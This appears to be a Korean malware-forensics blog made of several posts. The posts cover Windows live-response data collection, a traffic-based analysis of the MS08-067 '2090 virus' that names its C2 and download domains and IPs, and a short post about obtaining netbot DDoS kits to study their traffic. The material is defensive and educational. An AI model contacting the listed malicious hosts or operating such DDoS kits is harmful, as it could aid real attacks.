listdlls에 의해 각각의 프로세스들이 사용하고 있는 DLL들을 확인하였다면(import) 해당 DLL들이 어떤 함수를 특정 프로세스에게 제공하고 있는지(export) DLLExportViewer로 확인해 볼 수 있다.

http://www.nirsoft.net/utils/dll_export_viewer.html


4. Correlate Open Ports with Running Processes and Programs

앞에서 우리는 로그인한 사용자, 활성화된 네트워크 연결 정보, 실행 중인 프로세스에 대한 정보 수집 방법에 대해서 알아보았다. 이번에는 열려진 포트와 실행 중인 포트를 확인하고 연결이 성립되었거나 포트를 열고 LISTEN하고 있는 실행 프로그램이 시스템의 어느 위치에 있는지 확인할 것이다. 다음과 같은 절보들을 수집해야 한다.

  - 로컬 IP와 포트
  - 원격 IP와 포트
  - 원격 호스트네임
  - 프로토콜
  - 연결 상태
  - 프로세스 이름과 PID
  - 프로세스와 연관된 실행 가능 프로그램
  - 실행 가능 프로그램의 경로
  - 프로세스/프로그램과 연관된 사용자 이름

Windows XP SP2 이상의 시스템에서는 netstat -anb라는 옵션을 사용하여 현재 열려있는 포트나 리슨하고 있는 포트와 해당 포트를 열고 있는 프로세스의 PID와 프로세스를 실행하고 있는 프로그램의 이름과 링크된 DLL의 경로를 확인할 수 있다.



이 명령은 결과가 생각보다 늦게 나오니 참고 기다리길 바란다. -_-


Openports
netstat와 비슷한 결과를 확인할 수 있는 프로그램으로 DiamondCS에서 개발한 openports라는 프로그램이 있다. 
-path 옵션과 -lines 옵션을 같이 사용하면 프로세스를 실행하고 있는 프로그램의 절대경로를 보여주고 각 프로세스별로 라인을 그려줘서 보기 쉽게 해준다. 옵션을 사용하지 않을 경우 프로그램의 절대경로가 아닌 프로그램 이름만 출력된다.




CurrPorts
openports로 프로세스와 포트의 매핑 정보를 확인한 후 좀 더 세부적인 정보를 확인하기 위해서 CurrPorts라는 프로그램을 사용한다. NirSoft에서 개발한 프로그램이다. (NirSoft 홈페이지에서 여러가지 휘발성 데이터 수집 프로그램을 찾을 수 있다.)
http://www.nirsoft.net/utils/cports.html



현재 192.168.245.1의 9999 포트로 연결된 것을 확이할 수 있다. 악성코드에 의한 원격지의 공격자에게 연결된 것이라면 Product Name이나 File Description, Product Version과 같은 실행 파일의 정보가 없는 경우도 있었지만 최근에 전파되고 있는 악성코드들은 정상적인 프로그램과 동일한 정보들을 가지고 있는 경우가 있다. 따라서 이런 정보들만으로는 구분하기 어려운데 한가지 확인해야 할 컬럼은 가장 마지막에 위치한 Module Filename 컬럼이다.



192.168.245.1:9999로 연결한 svchost.exe 프로세스가 사용하고 있는 모듈(dll)은 bitsex.dll이다. 특히 svchost는 DLL에서 실행되는 다른 프로세스의 호스트 역할을 하는 일반 프로세스여서 DLL Injection이 많이 발생한다. 즉, bitsex.dll은 인젝션된 DLL일 가능성이 크다는 것이다.

그렇다면 어떤 DLL이 정상 DLL이고 악성 DLL인지 구분할 수 있어야 하는데 솔직히 DLL 파일들이 너무 많아 전부 기억하는 것은 거의 불가능에 가깝다. 주로 사용되는 DLL들에 대해서 기억하거나 http://www.windll.com/ 사이트에서 윈도우 DLL 목록을 제공하니 찾아보는 수밖에 없다.

Sysinternal에 포함된 tcpvcon도 비슷한 정보들을 보여준다.


5. Identifying Services and Drivers

윈도우 서비스는 사용자의 실행이나 상호 작용이 필요하지 않은 윈도우 세션이 시작될 때 실행되는 어플리케이션을 의미한다. 이런 서비스들은 컴퓨터가 부팅될 때 자동적으로 실행하는게 가능하고 멈추거나 재시작하는 것도 가능하다. 사용자들 모르게 백그라운드에서 실행하는 것도 가능하다. 악성코드들은 공격 대상 시스템에서 자기 자신을 서비스로 등록하여 컴퓨터가 매번 부팅될 때마다 실행되게 할 수 있다. 사용자들 모르게...

악성코드들은 일반적으로 설명이나 상태, 시작 유형과 같은 정보들이 없기 때문에 실행 중인 서비스에 대한 정보를 수집하는 과정에서 다음과 같은 정보들을 확인하면 된다.

  - 서비스 이름
  - 표시 이름
  - 상태
  - 시작 유형
  - 서비스 설명
  - 종속성(의존성)
  - 서비스와 연관된 실행 파일
  - PID
  - 실행 프로그램 경로
  - 서비스와 연관된 사용자 이름

하지만 앞에서도 언급했듯이 최근에 전파되는 악성코드들은 이런 정보들이 정상 프로그램과 동일하게 입력된 경우가 있기 때문에 눈에 보이는 이런 정보들을 맹신해서는 안된다.

서비스에 대한 개요 정도만 확인한다면 tasklist /svc 명령을 통해서 확인할 수 있다.



좀 더 자세한 내용을 보고자 한다면 psservice나 ServiWin, servicelist와 같은 프로그램을 활용하면 된다.
psservice : Sysinternals Suite
ServiWin : http://www.nirsoft.net/utils/serviwin.html
servicelist : http://www.pathsolutions.com/download/ServiceList.zip

개인적으로 이런 프로그램들은 크게 도움이 안될 수도 있다는 생각이 든다. 왜냐하면 정상 서비스와 비슷하게 꾸며 놓는다면(decaration~) 서비스에 대한 지식이 다소 부족할 경우 지나칠 수 있다는 것이다. 결국 분석자가 주의를 기울려 분석하는 수밖에 없다. 실제로 bitsex.dll은 Netbot Attacker VIP 4.6 버전에서 사용하는 파일이다. 서비스를 아무리 봐도 정상 서비스처럼 보인다.




IceSword나 gmer와 같은 루트킷을 점검하는 프로그램을 실행해봐도 악성코드로 잡아내질 못한다. 물론 프로그램마다 특징이 있기 때문에 탐지 가능한 부분과 그렇지 않은 부분이 있을 수 있다. 필자가 말하고 싶은 것은 이런 경우도 있기 때문에 분석자가 주의를 기울여야 한다는 것이다. 하지만 이런 서비스들을 아주 못찾는 것은 아니다. 다른 정보를 토대로 서비스를 찾아낼 수도 있고 서비스에서는 못찾았지만 다른 정보를 확인하는 과정에서 악성코드를 찾아낼 수도 있기 때문이다.

서비스를 분석하는 다른 툴이나 윈도우 기본 명령들은 다음과 같다.
Net : net start
Tlist : tlist -s (Microsoft Debugging Tool)
Srvinfo : Windows 2003 Server Resource Kit Tools http://www.microsoft.com/downloads/details.aspx?familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en
Sclist : Windows 2000 Server Resource Kit에 있다고 하는데 안보임(2000 RK이나 2003 RK이나 거의 동일)
SvcUtil : http://www.joeware.net/freetools/tools/svcutil/index.htm

그리고 시스템이 설치된 드라이버에 대한 정보 수집도 필요하다. 드라이버 정보를 수집하는 프로그램은 다음과 같다.
drivers : Windows 2000 Server Resource Kit Tools http://support.microsoft.com/kb/927229
DriverView : http://www.nirsoft.net/utils/driverview.html
ListLoadedDrivers : http://download.microsoft.com/download/win2000platform/drivers/1.0/nt5/en-us/drivers.exe

2003 RK에서는 printdriverinfo.exe 이라는 프로그램이 있는데 drivers.exe와 실행 결과가 다르다.


5.1 Determining Open Files

열려진 파일들을 확인함으로써 의심가는 프로세스들을 찾는 것이 가능하다. 다른 프로세스에 끼워진(embedded, 아무래도 인젝션을 의미하는 듯) 악성코드들은 공격자들이 공격 대상 시스템으로 접근하는 것이 가능하게 하고 공격자는 공격 대상 시스템에 연결하는 동안 어떤 파일을 오픈할 것이다. 이런 경우 열려진 파일을 확인하는 것은 공격의 목적을 알 수 있게 해준다(금융 데이터베이스 내용이나 민감한 기업 정보나 시스템의 다른 특별한 자원의 수집과 같은 목적).

내부적으로 중요한 파일이 있다는 가정하에 이런 파일의 정보가 악성코드에 의해 네트워크를 통해 외부로 유출될 수도 있기 때문에 공격자가 내부에 있는지 외부에 있는지도 확인할 필요가 있다.

여기서는 분석 대상 시스템에서 열려진 파일을  로컬과 원격으로 구분할 것다.


Identifying Files Opened Locally
로컬에서 열려진 파일을 확인하는 프로그램으로는 Nirsoft의 OpenFilesView가 있다. OpenFilesView는 파일을 열고 있는 프로세스나 핸들과 연관되거나 접근시간에 대해 read/write/delete하거나 파일의 위치 등 현재 사용 중인 파일에 대한 부가적인 정보를 보여준다.

OpenFilesView : http://www.nirsoft.net/utils/opened_files_view.html




Identifying Files Opened Locally
원격에서 열려진 파일은 net file 명령이나 psfile 프로그램에 의해서 확인 가능하다.






5.2 Collecting the Command History

침입자가 언제 접근했고 어떤 명령을 실행했었는지 확인하기 위해 명령어의 히스토리를 확인해야 한다. 단, 히스토리 로그가 변경되지 않았다는 가정하에..
분석자는 doskey /history 라는 명령을 통해 메모리에 저장된 명령어들을 확인할 수 있다. 단, 이 명령은 최대 61,900 바이트만큼만 저장할 수 있다.
이런 명령어 히스토리들은 침입자가 실행한 명령어 중에 폴더나 파일이 이름이나 도메인 네임, IP주소, 공유폴더 이름과 같은 정보들을 가지고 있기 때문에 분석자에게 유용한 정보가 될 수 있다.


5.3 Identifying Shares

일부 악성코드들은 네트워크 공유를 통해서 자신을 증식시키는데 현재 분석 대상 시스템의 공유 폴더 상태를 확인할 필요가 있다. net share 명령을 통해서 확인할 수 있다.




6. Determining Scheduled Tasks

어떤 악성코드들은 event-driven 한다. 이 말의 의미는 특정 날짜나 특정 이벤트가 발생하면 악성코드가 실행된다는 것이다. 이런것은 논리폭탄과 연관이 있다.
WORM_SOHANAD.FM과 같은 웜은 숙주사이트에서 파일을 다운로드하고 세개의 추가적인 악성코드를 설치한 다음 Windows Task Scheduler를 이용해서 파일을 실행할 수 있는 스케줄 작업을 생성한다.

WORM_SOHAND.FM : http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_SOHANAD.FM

스케줄 작업은 at 명령이나 schtasks /Query 명령을 통해서 확인할 수 있다. schtasks는 Windows XP, 2003, Vista에서 기본 명령이다.

C:\> schtasks /Query

추가적인 정보를 보려면 /FO LIST 와 /V 옵션을 사용하면 된다.

C:\> schtasks /Query /FO LIST /V


7. Collecting Clipboard Contents

공격자가 내부자일 경우 텍스트 비트를 복사하고 툴에 입력하거나 공격 문자열을 입력하는 경우 필요가 있다. 도메인 네임이나 IP주소, 이메일주소, 사용자이름, 패스워드, 호스트네임, 메신저 채팅 내용, 공격 명령 등이 클립보드에서 발견될 수 있다. 클립보드 내용을 확인할 수 있는 명령으 pclip이 있다. pclip은 UnxUtils 패키지에 포함되어 있다.

http://nchc.dl.sourceforge.net/sourceforge/unxutils/UnxUtils.zip









드디어 윈도우 휘발성 데이터 수집 두번째를 마무리했습니다.
약간 부족한 감이 없지 않습니다.
좀 더 채워졌으면 하는 내용이나 궁금하신 내용은 댓글을 이용해주세요~

오늘은 집에 가서 푹~ 쉬어야 겠군요..
원피스 391화를 보면서....^^;


Posted by demantos
0x04 reference&tools2009. 3. 2. 14:08

윈도우 핸들에 관한 내용입니다.

출처는 소마님의 "Windows 쪼물딱 거리기" 블로그입니다.
http://somma.egloos.com/2947301

좀 더 디테일한 분석을 위해서 꼭 필요한 내용인 듯 합니다.
시스템에 대한 전반적인 이해에 도움도 될 것 같구요.




이 자료를 보니 Windows Internals 책을 빨리 사서 봐야겠다는 생각이 듭니다.

오늘 저녁에 서점에 가야할 듯...




추가. Windows Object 관련 자료들 모음
http://lucid7.egloos.com/1886838

트랙백 기능이 좋긴 좋군요...

Posted by demantos
0xFF small talk2009. 3. 1. 18:31

우연히...
정말 우연히...
인터넷 뒤지다가...
ddos 툴들을 무더기로 발견해버렸다...
netbot이 현재 5.9까지 나왔는데 5.5를 구했다..
안타깝게도 서버파일이 없는 녀석도 있다..
뭐...어떻게든 해봐야지...

3322.org는 더 이상 무용지물이다..
다른걸 이용해야 한다..

뭐...
하고 싶은건 이런놈들이 어떤 트래픽을 발생시키는지 확인하고 싶은거니까..



아...
할일이 늘었구나...ㅋㅋ





Posted by demantos
0xFF small talk2009. 2. 28. 13:21

10Q/10A

티스토리와 만난 첫 날을 기억하세요?
여러분들이 들려주는 티스토리의 기억들을 남겨주세요!
Q1 : 블로그 개설일은 언제인가요?
A : 2009년 2월 24일
Q2 : 누구에게 초대를 받았나요? 초대해준 분을 소개해주세요!
A : 기억 안남...-_-;;
Q3 : 지금 당신의 블로그 현황은 어떤가요?
A : 글 수 - 작성중인 글 포함해서 5개 / 댓글 수 - 0개 / 트랙백 수 - 0개 / 방명록 수 - 0개 (내가 쓴거 빼고는 전부 0이다.
Q4 : 블로그 이름의 뜻은 무엇인가요?
A : 악성코드를 분석하는 연구실 ㅋㅋ(이름만 거창...)
Q5 : 블로그를 하면서 가장 좋았던 기억이 있나요?
A : 내가 하는 일과 하고 싶은 일에 관련된거자나... 그래서 좋지...히히
Q6 : 블로그를 하면서 달라진 것이 있다면?
A : 누군가에게 내 지식을 전달해야 되기 때문에 내가 더 노력해야 하고 정확히 알아야 한다는 사실?
Q7 : 나만 아는 티스토리의 숨겨진 기능은 무엇인가요?
A : 글쎄... 차츰 생기겠지...
Q8 : 앞으로 어떤 블로거가 되고 싶나요?
A : 난 그냥 나이고 싶다..
Q9 : 당신의 블로그 친구를 소개해주세요!
힘이 되는 블로그 : zizihacker.egloos.com, aehwamong.tistory.com, swbae.egloos.com 등등 (너무 많다)
재미있는 블로그 :
존경스러운 블로그 :
특이한 블로그 :
멋진 블로그 :
아름다운 블로그 :
절친한 블로그 :
Q10 : 내 블로그를 구독하거나 즐겨 찾는 분들에게 한 말씀 해주세요!
A : 누군가에게 도움이 될 수 있는 블로그가 되도록 많은 질타와 격려 바랍니다. 채찍질은 삼가해주세요~
Posted by demantos
0x02 analysis2009. 2. 27. 13:29


얼마전 국내를 강타(?)한 2090 바이러스는 이 글을 읽고 계신분들은 다들 아실겁니다.
무한 재부팅이 된다.. 치료 불가능하다.. 라는 여러가지 루머가 있었습니다.
우연히 커뮤니티를 통해 입수해서 한번 분석을 해보기로 했습니다. 배포는 하지 않습니다.

2090 바이러스는 MS08-067 취약점을 공격한 바이러스입니다. 윈도우 업데이트를 착실하게 잘 하신분들은 전혀 위험하지 않으셨을겁니다.
시스템 날짜가 2090년 1월 1일로 변경되셨던 분들이라면 윈도우 업데이트를 하지 않아셨던겁니다.


0x01 Base Information

입수한 파일은 exe파일과 시스템 파일(sys) 총 두개였습니다. 먼저 간단하게 바이러스토탈을 통해서 검사해 봤습니다.
파일명은 system.exe와 f82abd63e90429ae68cee70e40a51c60.sys였습니다.

system.exe


f82abd63e90429ae68cee70e40a51c60.sys


뭐...대부분의 백신에서 현재는 탐지가 가능합니다.
system.exe 파일의 import되는 함수들만 봐도 악성코드라는 것을 어느 정도 짐작이 가능합니다.


0x02 행동 분석

먼저 SysAnalyzer를 통해서 분석해 보았습니다.



system.exe가 실행되면 드라이버 파일인 C:\DOCUME~1\demantos\LOCALS~1\Temp\07164.sys 와 system.exe 파일과 동일한 파일인 C:\WINDOWS\system32\4026202 파일 두개를 생성합니다. system32 폴더 아래에 생성되는 일곱자리 숫자로 된 파일은 system.exe 파일을 복사해서 새롭게 만들어 내는 파일입니다.

특이한 점은 system.exe가 정상적으로 실행되지 않으면 계속해서 다른 이름의 파일을 생성해냅니다.






그리고 HKLM\SYSTEM\\CurrentControlSet\\Services\\NvCplDaemon 위치에 새로운 레지스트 키값을 생성하는 걸 확인할 수 있었습니다.



이 레지스트리값은 앞에서 생성된 드라이버 파일에 대한 내용이었습니다.


system.exe가 실행이 되면 sex.pornosurkiye.com로 접속하기 위해 쿼리를 날립니다




위 도메인은 KISA에서 국내 ISP에게 차단을 요청한 도메인입니다. 제가 설정한 DNS는 필터링이 안되어 IP를 그대로 가져올 수 있었습니다. 해당 도메인에 대한 IP를 받아 오지 못할 경우 system.exe가 제대로 실행되지 않아 계속 에러 메시지를 출력했었습니다.

특이한 점은 클라이언트가 85.17.136.148에 접속을 하게 되는데 reverse lookup을 하면 sex.pornoturkiye.com이 아닌 hosted-by.leaseweb.com라는 도메인이 나오게 된다는 것입니다. (DNS 정보는 삭제했습니다)




process explorer에서 확인해보면 실제로도 hosted-by.leaseweb.com에 연결하는 것을 확인할 수 있었습니다.




hosted-by.leaseweb.com의 81번 포트로 연결을 하는데 IRC 서버였습니다.




IRC 서버 접속 후에는 특별히 다른 행동을........하나? 안하나?


일단 감염이된 PC는 같은 네트워크 대역의 살아있는 호스트들을 찾습니다.




그리고 응답이 오는 호스트가 있으면 MS08-067 취약점에 대해서 공격을 시도합니다.




추가적인 전파를 위해 같은 네트워크 대역에 PING을 날립니다. 그리고 B클래스를 고정시키고 C클래스를 하나씩 늘려가면서 계속 PING을 날리는 지독함까지 보여주고 있습니다. -_-




그리고 youtube.srv837.com이라는 도메인에 대한 쿼리를 보내고 접속을 한 후 mgg.txt 파일을 요청을 합니다. 그런데 mgg.txt 파일에는 별다른 내용은 없고 ????????!!! :@% 와 같은 문자열이 몇줄 있었습니다. 수상해서 직접 저 도메인에 접속을 해보니 이번에는 _album9837.src이라는 스크린세이버 파일을 다운 받았습니다. 이 파일은 처음에 실행되었던 system.exe 파일과 동일한 파일이었습니다. 직접 실행해보니 실행 잘되고 또 처음에 봤던 sex.pornoturkiye.com으로 쿼리 날리는 행동부터 했었습니다.




0x03 결론

다들 아시다시피 대부분의 악성코드들은 도메인 네임을 주로 사용합니다. 그래서 ISP들도 도메인을 많이 차단을 하죠.
이번 2090 바이러스가 처음 전파되는 과정에서 KISA와 ISP 모두 sex.pornoturkiye.com 도메인을 차단했었습니다.
저도 처음엔 그러려니 했었는데 직접 확인해보니 다른 도메인들이 더 나왔습니다. 2090 바이러스로 인해 발생되는 DNS 쿼리 확인 결과 다음과 같은 숙주도메인이나 의심되는 악성 도메인을 찾을 수 있었습니다.

sex.pornoturkiye.com (85.17.136.148)
hosted-by.leaseweb.com (85.17.136.148)
youtube.srv837.com (72.167.232.8)
p3nlh003.shr.prod.phx3.secureserver.net (72.167.232.8)


물론 바이너리를 분석해봐야 더 정확한 내용을 알 수 있겠지만 저는 해당 바이러스를 실행시킴으로써 발생되는 트래픽만을 가지고 분석했습니다.
아직 바이너리를 능숙하게 분석할 능력이 부족하여...ㅜ.ㅜ
조만간 바이너리도 분석을 해보고 정확한 데이터가 나오면 다시 글을 게재하겠습니다.



p.s 지금 이 글을 쓰고 있는 상황에서 85.17.136.148 IRC 서버에 계속 접속해 있는 상태인데 별다른 행동없이 PING/PONG만 하고 있습니다.
아마도 공격자가 잠을 자고 있는게 아닐런지...-_-
whois에서 검색해보면 IRC 서버 IP가 네델란드로 나옵니다.


Posted by demantos
0x01 malware forensics2009. 2. 25. 11:54

 
1. Building Your Live Response Toolkit
 
라이브 시스템 분석시에는 잘알려진 신뢰할 수 있는 툴들을 사용해서 데이터를 수집해야 한다.
분석 대상 시스템의 파일들을 공격자가 변경했을 가능성이 있으니 대상 시스템의 원본 프로그램에 의지하지 말고 자신만의 CD를 만들고 그 툴들을 통해서 데이터를 수집하는 것이 좋다. 파일(또는 툴)을 확인하는데 Dependency Walker(depends.com)나 PEView를 사용하는 것이 좋다.
 
Dependency Walker : http://www.dependencywalker.com/
PEView : http://www.magma.ca/~wjr/
 
침해 대응에 사용되는 많은 툴들은 공격자들에 의해서도 사용되기 때문에 구분 지을 수 있어야 한다. 예를 들면 파일명을 바꾼다든지 파일명 끝에 자신의(you!!) 이니셜 같은 것을 붙여도 된다. 또는 Hex 에디터로 바이너리를 열어서 특정 문자열을 넣어 두어서 공격자가 사용하는 바이너리와 구분지으면 된다. Hex 에디터로 바이너리를 열어서 PE 헤더 바로 뒤쪽의 오프셋 0x600 만큼 떨어진 위치에 구별할 수 있는 약간의 바이트를 추가한다. 그리고 정확한 식별을 위해서 해쉬값을 생성해 놓는다.
 
PE 헤더 다음에는 Section Table이 나오는데 cmd.exe는 Section Table의 위치가 0x1d0이다.
0x1d0 + 0x600 = 0x7d0의 내용을 33 31 33 33 37 (31337)로 변경 후 다른 이름으로 저장하고 실행 잘 되는지 확인하면 된다.

<원본>



<수정본>


<md5 해쉬값 비교> 


But!! 이런 마킹이 어떤 경우에는 잘 동작하지 않을 수 있다. 특히 상용 소프트웨어에서는...
이런 신뢰할 수 있는 툴킷을 만들면 보통 CD에 담아서 사용하는데 그것보다 수집한 데이터를 저장하기 위해서 thumb drive(손가락 크기만한 저장매체)나 외장 하드를 더 선호한다. 예를 들면 고용량 thumb drive(4G ~ 8G)나 외장 하드는 전체 시스템 메모리 덤프 이미지와 같은 큰 데이터까지 저장할 수 있다.

결국 로컬이냐 원격이냐 하는 문제점에 직면하게 되는데
로컬은 대상 시스템의 미디어에 접근해서 수집된 결과들을 저장할 수 있다는 것을 의미하고
원격은 일반적으로 netcat이나 cryptcat을 통해 연결해서 수집된 결과들을 수집 서버에 전송한다는 것을 의미한다.

원격에서 데이터를 수집하는 것은 상호작용을 줄일 수 있지만 네트워크를 통해서 연결해야 한다는 단점이 있다.



대상시스템                                       ----->       수집시스템(172.16.131.32)
pv.exe -e | nc 172.16.131.32 13579                  nc -l -p 13579 > pv-e-20090108-host1.txt

 
어떤 경우에는 대상 네트워크가 엄격한 방화벽을 가지고 있는데 이런 경우 원격 수집 저장소에 연결하는 것이 까다롭다. 게다가 대상 시스템의 물리적 메모리를 수집하는 동안 몇 기가 바이트의 데이터가 생길 수도 있다. 이런 경우 가장 좋은 방법은 자신이 만든 Live Response Toolkit을 다루기 쉽게 만드는 것이다.(어쩌라는거냐 -_-)

Chapter 1.에서는 계속 악성코드 분석에 대한 시나리오를 통해 여러가지 툴들에 대해서 논의할 것이고 이 장이 끝나는 시점에서 우리는 Incident Response Tools Suite를 찾을 수 있을 것이다. 결국 이 책에서 언급하는 툴들을 한번씩 다 써보고 자신에게 잘 맞는 툴을 선택해서 툴킷을 만들어야 한다.
 
여담) 필자는 IRTK(Incident Response ToolKit)이라는 이름으로 만들 생각이다. 물론 USB에...
1기가 USB는 두개 있는데 이건 좀 부족할 듯 하고 요즘 USB가 똥값이니 8기가짜리 하나 사야겠다. ㅎㅎ
 

1.1 Testing and Validating Your Tools

Winalysis : google에서 검색하면 많이 나옴

  - 시스템 설정 snapshot : file, registry, users, local and global group, rights policy, services, scheduler, volumes, shares

InstallSpy : http://www.2brightsparks.com/freeware/freeware-hub.html
  - 시스템 무결성 모니터링 :  프로그램이 설치되거나 실행될 때 발생하는 레지스트리의 변화나 파일 시스템, 레코드의 변화를 모니터링

좀 더 자세한 시스템의 변화를 보고자 한다면
FileMon : http://technet.microsoft.com/en-us/sysinternals/bb896642.aspx
RegMon : http://technet.microsoft.com/en-us/sysinternals/bb896652.aspx
Process Monitor : http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
* 모두 SysinternalsSuite에 포함되어 있음(툴킷에 기본적으로 들어가야할 프로그램이라 생각된다)

그외 System Monitoring Tools
Regshot : http://sourceforge.net/projects/regshot
InCtrl5 : http://www.pcmag.com/article2/0,1759,25126,00.asp
InstallWatch : http://www.epsilonsquared.com/installwatch.htm
InstallSpy : http://www.2brightsparks.com/freeware/freeware-hub.html
FingerPrint v.2.1.3 : http://www.2brightsparks.com/freeware/freeware-hub.html
PCLogger : http://www.soft-trek.com.au/prjPCLogger.asp
GFI LANguard System Integrity Monitor : http://kbase.gfi.com/showarticle.asp?id=KBID001573
http://www.net-security.org/software.php?id=483
DirMonitor : http://www.evarest.be/DirMonitor/index.html
Microsoft Installation Monitor : http://www.microsoft.com/downloads/details.aspx?FamilyID=48427471-0901-4505-b715-cc3b3ead9ad6&DisplayLang=en
Microsoft Change Analysis Diagnostic Tool : http://support.microsoft.com/kb/924732

위 프로그램들을 모두 다 사용할 필요는 없다. 대신 한번씩 사용해보고 자신에게 가장 잘 맞는 프로그램을 선택하는 것이 좋다.
분석자가 원하는 기능을 가지고 있고 분석자가 사용하기 편한 프로그램을 선택하면 된다.


2. Volatile Data Collection Methodology

 - 감염된 머신에서는 Incident Response Toolkit에 있는 신뢰할 수 있는 명령어 쉘을 실행
 - 시스템 날짜와 시간을 기록하고 믿을 수 있는 시간과 비교
 - 물리적 메모리의 내용 획득
 - 호스트네임, 사용자 및 운영체제 세부 정보 수집
 - 시스템 상태와 환경 세부 정보 수집
 - 시스템에 로그인한 사용자 확인
 - 네트워크 연결과 열려진 포트 검사
 - DNS 쿼리와 연결된 호스트네임 검사
 - 실행중인 프로세스 검사
 - 열려진 포트와 연관된 프로세스와 프로그램
 - 서비스와 드라이버 검사
 - 열려진 파일 검사
 - 명령어 히스토리 검사
 - 매핑된 드라이브와 공유 확인
 - 권한이 없는 계정, 그룹, 공유 그리고 다른 시스템 리소스와 윈도우 "net" 명령어를 사용하는 설정 확인
 - 스케쥴 작업 결정
 - 클립보드 내용 수집
 - 감사 정책 결정


2.1 Preservation of Volatile Data

휘발성 데이터는 실행중인 프로세스, 열려진 파일, 네트워크 연결 정보들이 있다. 어떤 경우에는 비휘발성 데이터를 분석 대상 시스템에서 가져와야 하는 경우도 있고 전체 디스크에 대한 복사본(forensic duplicate)를 만들어야 한다. 그리고 이렇게 수집된 데이터들은 모두 MD5 해쉬값을만들고 다른 속성들이 문서화되야 한다. 분석자의 실수를 줄이기 위해서 휘발성 데이터를 수집하는 절차를 자동화하는 것도 좋다.(즉, 스크립트를 작성해서 돌려라~)

pslist를 통해서 현재 실행중인 프로세스를 확인할 수 있다.



간혹 rootkit이 설치된 경우에는 프로세스가 숨겨져서 프로세스 목록에 나오지 않는 경우도 있다. 이러한 이유때문에 메모리 전체를 덤프 뜨는 것을 고려해봐야 한다.
물리적 메모리을 캡쳐하는 가장 간단한 방법은 dd 명령을 이용하는 것이다.


dd.exe if=\\.\\PhysicalMemory of="E:\images\memoryimage.dd" conv=sync,noerror --md5sum --verifymd5 --md5out="E:\images\memoryimage.dd.md5" --log="E:\images\memoryimage.dd.log"


이 명령과 옵션은 Windows Server 2003 SP1이나 그 후 버전에서는 동작하지 않는다. GUI 환경에서 메모리를 캡쳐하고자 한다면 HELIX 그래픽 유저 인터페이스를 사용하면 된다.
http://helix.e-fense.com/Download.php

현재는 HELIX 3 버전이고 이메일 주소만 정확히 적으면 다운로드 링크를 받을 수 있고 또는 아래 링크에서도 받을 수 있다.
http://ftp.ntua.gr/pub/linux/helix/Helix2008R1.iso


HELIX와 비슷한 프로그램으로 nigilant32라는 프로그램이 있다.
http://www.agilerm.net/publications_4.html

상용 원격 포렌식 툴은 다음과 같은 제품들이 있다. 모두 전체 메모리를 캡쳐할 수 있다.
ProDiscoverIR - http://www.techpathways.com/prodiscoverir.htm
OnlineDFS - http://www.cyberstc.com/
LiveWire - http://www.wetstonetech.com/
 
책에서는 숨겨진 프로세스나 파일, 레지스트리, 네트워크 연결 정보들을 분석하기 위해서 메모리 전체를 덤프하는 방법만 언급하고 있지만 메모리 전체를 덤프한다는 것이 그리 쉬운 일은 아니다. 게다가 원격에서 점검하고 악성코드 바이너리 파일을 획득해야 한다면 더더욱 어려울 것이다. 숨겨진 프로세스나 파일, 레지스트리, 네트워크 연결 정보등은 개인적으로 IceSword나  gmer를 이용해서 분석하는 것을 추천한다.
 
둘다 프리웨어이고 상당히 강력한 기능들을 가지고 있어 필자도 자주 사용하고 있다.
IceSword : http://pjf.blogcn.com/index.shtml
gmer : http://www.gmer.net/index.php


2.2 Collecting Subject System Details

분석 대상 시스템의 세부적인 항목들을 먼저 수집하는데 이런 데이터들은 차후 분석 단계에서 유용하게 사용될 수 있기 때문이다.



System Date and Time
날짜와 시간은 분석에 상당히 중요한 역할을 한다. 날짜와 시간을 확인하는 방법은 여러가지가 있다.



now 명령은 Windows Server 2003 Resource Kit Tools에서 찾을 수도 있고 다음 URL에서 다운 받아서 사용할 수도 있다. 이 명령은 time 명령과 date 명령의 결과를 모두 보여준다. time이나 date 명령을 쓰느니 차라리 now를 쓰는게 더 낫지 않을까..
http://support.microsoft.com/kb/927229
http://download.microsoft.com/download/win2000platform/now/1.00.0.1/nt5/en-us/now_setup.exe


System Identifiers
시스템을 식별하기 위해 호스트네임, 현재 사용자 그리고 운영체제 버전을 확인한다.



ipconfig /all 명령을 실행하면 IP주소외 여러가지 정보를 확인할 수 있는데 이와 유사한 기능을 하는 DiamondCS의 iplist도 있다.
그런데! 현재는 없는 듯 하다. 대안으로 DiamonCS 사이트에서 제공하는 유용한 Freeware가 있는데 특히 콘솔툴킷을 사용하면 여러가지 정보들을 획득할 수 있을 것이다.
http://www.diamondcs.com.au/freeutilities.php
http://www.diamondcs.com.au/consoletools.php (콘솔툴킷)


Network Configuration
합법적이지 않은 VPN 아답터에 대한 설정도 확인해봐야 한다. 복잡한 악성코드들은 원격 C&C 노드로 연결하는 경우가 있다. 이런 VPN을 통한 통신 내용들은 IDS나 모니터링 툴에 의해 탐지되는 것이 어렵기 때문에 주의를 요한다.
그리고 분석 대상 시스템의 네트워크 카드가 promiscuous 모드로 동작하고 있는지 확인해야 한다. 즉, 스니퍼가 실행중인지 확인해야 한다는 것이다.

promiscdetect나 마이크로소프트사의 promqry를 활용하여 분석 대상 시스템에서 스니퍼가 실행중인지 확인할 수 있다.
http://www.ntsecurity.nu/toolbox/promiscdetect/
http://www.microsoft.com/DOWNLOADS/details.aspx?familyid=4DF8EB90-83BE-45AA-BB7D-1327D06FE6F5&displaylang=en

테스트를 위해 Cain을 실행한 후 promiscdetect와 promqry를 실행한 화면이다.






Enabled Protocols
현재 시스템에서 사용중인 프로토콜을 확인한다. URLProtocolView을 사용해서 확인할 수 있다.
http://www.nirsoft.net/utils/url_protocol_view.html



결과는 파일로 저장이 가능하다. 아래 예제를 하나 보도록 하자.
==================================================
URL Name          : irc
Status            : Enabled
Type              : Executable
Description       : URL:IRC Protocol
Command-Line      : "C:\WINDOWS\temp\spoolsv\spoolsv.exe" -noconnect
Product Name      : mIRC
Company Name      : mIRC Co. Ltd.
Modified Time     : 2008-11-06 오전 8:01:54
==================================================
command-line 명령은 spoolsv.exe인데 서비스는 IRC로 나오고 있다. 즉, 프로세스를 확인하면 spoolsv라는 프로세스로 보이겠지만 실제로는 IRC로 사용되고 있다는 것이다. spoolsv.exe가 변조된 경우도 있겠지만 위 예제의 경우 spoolsv.exe가 다른 경로에 새롭게 생성되어 실행되고 있다는 것을 확인할 수 있다.


System Uptime
